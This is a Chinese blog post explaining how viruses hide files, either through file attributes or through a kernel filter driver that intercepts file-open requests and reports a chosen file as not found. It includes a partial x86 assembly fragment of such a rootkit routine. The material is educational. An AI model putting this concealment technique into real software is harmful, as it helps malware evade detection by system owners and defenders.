病毒常用方法之隐身术
2018-03-11 21:06
134 查看
什么是隐身术呢?哈利波特在实验室里穿上隐身衣,教授就看不见他们了;孙悟空72变,隐个身那也是小菜一碟。总之,隐身术就是在一定环境下让别人看不到自己。做坏事肯定不想被抓住,所以就找一些方法来隐藏自己的痕迹。目前我知道的有2种:1,通过设置文件的属性来实现文件隐藏,这种方法操作简单,效果可以达到,但留下了一些马脚(当通过正常操作打开文件夹时,在窗体的最下端有一块位置会显示-----有多少个对象,这时如果有隐藏对象(通过这种方法实现的 )就会发现后面还有一个括号---有几个隐藏对象;2,通过内核模块在文件系统上作手脚,这种方法与上一个比实现起来就要麻烦很多了。它的主要思路是创建DeviceObejct并Attach(附加)到文件设备对象上(也就是C盘)来处理IRP,检测对应的操作参数中是否与要保护的文件名相关,如果是,就返回不存在。 下面是一个内核模块实现文件隐藏的关键部分:
mov ebx,ds:MmIsAddressValid push esi ;保存现场 push edi mov edi,[ebp+Irp] mov esi,[edi+60h] ;PIO_STACK_LOCATION CurrentStackLocation ---esi mov eax,[esi+0ch] mov [esp+20h+var_8],eax mov eax,[esi+10h] mov [esp+20h+var_4],eax mov eax,[esi+4] inc byte ptr [edi+23h] ;CurrentLocation mov [esp+20h+var_10],eax lea eax,[esi+24h] mov [edi+60h],eax cmp byte ptr [esi],0 ;CurrentStackLocation->MajorFunction==IRP_MJ_CREATE=0 jnz short loc_10400 push dword ptr [esi+18h] ;CurrentStackLocation->FileObject call ebx ;MmIsAddressValid test al,al ;0---->失败 jz short loc_10400 mov eax,[esi+18h] push dword ptr [eax+34h] ;FileObject->FileName.Buffer call ebx test al,al jz short loc_10400 mov eax,[esi+18h] mov eax,[eax+34h] mov edx, offset (要隐藏文件名的地址) call CompareStr ;比较字符串,相等返回0 test eax,eax jnz short loc_10400 mov eax,[edi+28h] ;Irp->UserIosb mov esi,0C0000034h ;#define STATUS_OBJECT_NAME_NOT_FOUND ((NTSTATUS)0xC0000034hL) mov [edi+18h],esi; Irp->IoStatus.Status=esi xor dl,dl mov ecx,edi mov [eax],esi ;UserIosb->Status=esi call ds:IofCompleteRequest ;f代表fastcall函数调用方式,ecx,edx 用来装载实参 ;IoCompleteRequest()表明完成对I/O request所有的加工处理,将 IRP 还给 I/O manager(翻译自ddk文档)
紧接着还有关于IRP_MJ _READ和IRP_MJ_QUERY_INFORMATION的处理,和上面类似,但要复杂一点。
相关文章推荐
- 病毒常用的方法之同流合污
- 中病毒后常用的解决方法病毒终极解决方案
- 病毒常用方法之回到起点---PE文件
- 病毒常用方法之移花接木---小小hook
- 病毒常用方法之加密
- 病毒常用方法之下蛋
- 病毒常用方法之注册表操作
- 【转】.Net技巧:ASP.NET中常用的26个优化性能方法
- python3基础之整数常用的方法整理
- 海量数据处理常用思路和方法 http://blog.csdn.net/lmh12506/article/details/7563266
- js 合并两个 数组的常用方法
- StringUtils常用方法
- Mysql常用30种SQL查询语句优化方法
- jQuery常用数据处理方法小结
- java常用类——java web接受文件表单时常用文件解析方法
- Python中datetime常用时间处理方法
- 常用DOM方法和属性 小结
- 相似度计算常用方法综述
- Jquery常用方法
- 几种常用的像素混合方法